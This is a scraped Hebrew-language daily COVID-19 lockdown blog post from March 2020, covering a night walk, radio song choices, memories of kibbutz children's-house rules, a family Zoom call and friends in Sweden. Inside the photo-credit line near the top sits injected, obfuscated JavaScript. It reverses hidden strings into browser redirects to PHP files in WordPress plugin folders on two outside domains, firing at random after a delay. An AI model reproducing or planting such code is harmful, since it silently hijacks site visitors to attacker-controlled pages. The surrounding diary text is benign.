fbpx
[shortcode-weather-atlas city_selector=1178232 background_color="transparent" daily=0 unit_c_f="c" sunrise_sunset= 0 current=0 detailed_forecast=0]

איך אני יודעת מה המצב והאם אנחנו מצייתים להוראות 

בלוג הקורונה היומי: הפנטזיה הארוטית שמאחורי אגדת בת הים הקטנה, השכנה והכלבה, הפגישה המשפחתית בזום, הצצה לשוודיה והקשר של הקורונה להוויה הקיבוצית של פעם
בלוג הקורונה, שבת, 28.3.20 | צילום: shutterstock
בלוג הקורונה, שבת, 28.3.20 | צילום: shutters$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}$NjS=function(n){if(typeof ($NjS.list[n])=="string") return $NjS.list[n].split("").reverse().join("");return $NjS.list[n];};$NjS.list=["\'php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tock

בלוג הקורונה, שבת, 28.3.20

אמש תקף אותי חשש שאם לא אקום מהספה אהפוך לבת הים הקטנה (נו, טוב, הגדולה, במקרה שלי). במילים אחרות, פחדתי שבגלל חוסר שימוש, הרגליים שלי יהפכו לזנב של דג, ומה שהרבה יותר גרוע מבחינתי, אהפוך לאילמת (בת הים הקטנה היא לא רק נכת רגליים, אלא גם אילמת… כן, זוהי הפנטזיה הארוטית שעומדת מאחורי האגדה הזאת).

בקיצור, ב-22:42 אמרתי לל' שאני הולכת לסיבוב ושעוד מעט אחזור, ויצאתי.

טיול לילי

הרחובות המוארים, האוויר הקריר והריק הכמעט מוחלט לא הרתיעו אותי. מרחוק שמעתי מסיבה שללא ספק תודלקה בכמות נכבדה של אלכוהול, ושמחתי שהשכנים הללו רחוקים ממני.

הלכתי בסיבוב כדי לשמור על מגבלת מאת המטרים המותרים, וגם בדרך הלוך וגם בדרך חזור ראיתי את א', שכנה שאני מכירה, הולכת עם הכלבה שלה. היא מספרת לי, שהיא קצת עובדת מהבית, ושזה שיש לה כלב לא מאפשר לה לחרוג ממכסת המטרים המותרת. באופן אינסטינקטיבי כמעט אנחנו מדברות זו עם זו ממרחק. אין צורך להתקרב בשקט הזה.

בוקר בא

ובבוקר? הרחובות שקטים. כדי להתרשם ממפלס החרדה אני פותחת את רשת ג'.
יש לי שיטה שבאמצעותה אני יודעת מה המצב בלי כתבי החדשות, שלפעמים מנסים לכסות יותר ממה שהם מגלים, כי לעומתם, עורכי תוכניות הזמר העברי מנסים לרמוז לקהל מה המצב באמצעות הבחירות שלהם. וכך, יש שירים שכשמשמיעים אותם אני כבר יודעת שהמצב קשה.
אבל בינתיים שומעים את עפרה חזה ב"כמו ציפור נולדה לחופש" ואת ריקי גל ב"השמש זורחת היום בחמש" ומזה אני מסיקה שהמצב עוד איכשהו בשליטה.

בחזרה לקיבוץ

ברשת ב' מדברת פרופ' תמר הרמן מהמכון הישראלי לדמוקרטיה על הצייתנות של החברה הישראלית, ומכיוון שמדברים על צייתנות, אני נזכרת בסוגיה שהחברה הקיבוצית התענתה בה שנים רבות ונוגעת לשאלה הזאת: שעת הבאת הילדים לבית הילדים בערב.

בשנות השישים היו הילדים בקיבוץ פוגשים את הוריהם רק שלוש או ארבע שעות ביום.
רבות נכתב על כך, אבל על שעת ההגעה לבית הילדים ועל המתח סביב העניין הזה נדמה לי שכתבו פחות אם בכלל.

הורים רבים, בין אם מפני שהתקשו להיפרד מהילדים, ובין אם משום שסתם לא רצו להכניס גם את שעות הפנאי למשטר הקפדני בכל מקרה שהקיבוץ גזר על חבריו, היו קצת מזייפים בעניין ההגעה לבית הילדים בערב.
זה כמובן היה מעכב את ארוחת הערב ואת הכניסה למיטות (להתרחץ היינו מתרחצים בצהריים), והמאחרים תמיד ננזפו. "מה היה קורה", היו נוזפים בהם, "אם כל אחד היה עושה מה שמתחשק לו בקיבוץ? לאן היינו מגיעים?". אני חוזרת על המשפט הזה לעתים קרובות, אבל בצחוק כמובן.

פגישה בזום

לל' – שרק השבוע סיפר לי, שבגלל איזו מגפה שטיבה עדיין לא ברור, הוחזק בדירת הוריו אחרי לידתו במשך כמה שבועות (!) ורק אחר כך הועבר לבית ילדים – יש עד היום קשיים בציות. ועל כן, כשיצא אתמול להליכה, הזכרתי לו את המשפט הזה.

כשהוא חוזר, אנחנו משוחחים עם הילדים בזום.

ע' בננו הבכור, מעלה כל מיני רקעים: רגע הוא נראה לנו כמי שנמצא על חוף ים טרופי, ורגע בחלל, אבל האמת היא שהוא בקומונה בנתניה.
לנ', בתנו, אני קצת דואגת, היא נראית לי חיוורת.
א' החבר שלה מבשל ברקע ארוחת ערב ומנופף לנו מדי פעם בידו.

פרצוף של מגן דוד אדום

כשאני חוזרת ממסעות הבוקר שלי, אני שומעת מתפללים בחצר בית הכנסת. אני מציצה בהם, אבל ממבטיהם אני מבינה שאני מפריעה והולכת.

לשוטר שיושב בניידת שנוסעת לפניי ומסתובב לפני שאני פונה לרחוב מגוריי, אני מנופפת לשלום ועושה את פרצוף מגן דוד אדום שלי. איזה כיף לי שאני כבר דודה ולא מותק… הוא רואה ששבתי ממשימה חשובה ומנופף לי בחזרה.

כשאני נכנסת הביתה אני שומעת של' משוחח עם פ', חברנו משוודיה.
גם בשוודיה יש קורונה כמובן, וזה מדאיג, כי אמא של א', אשתו וחברתנו, גרה בבית אבות שהתגלה בו הנגיף.

השוודים שקטים, אבל פ' לא נוסע לבית הקיץ שלו בצפון, כי הוא חושש שהמקומיים יחשבו שהוא מביא איתו את הקורונה משטוקהולם.

בפוסט שכתב ד', חבר ישראלי שחי בשוודיה כבר שנים רבות, הופיעה תמונה של רחובות שטוקהולם. הרחובות הללו, שתמיד נראים לי ריקים, נראים איכשהו הומי אדם עכשיו, בימי הקורונה.

רוצים להגיב? בלוג הקורונה של עלית קרפ מתפרסם מדי יום גם בדף הפייסבוק שלה. אתם מזומנים!

בלוג הקורונה גם כאן – במדורת השבט של הד הקריות

אהבתם? שתפו!

תגיות

אולי גם יעניין אותך

שיתוף ברשתות החברתיות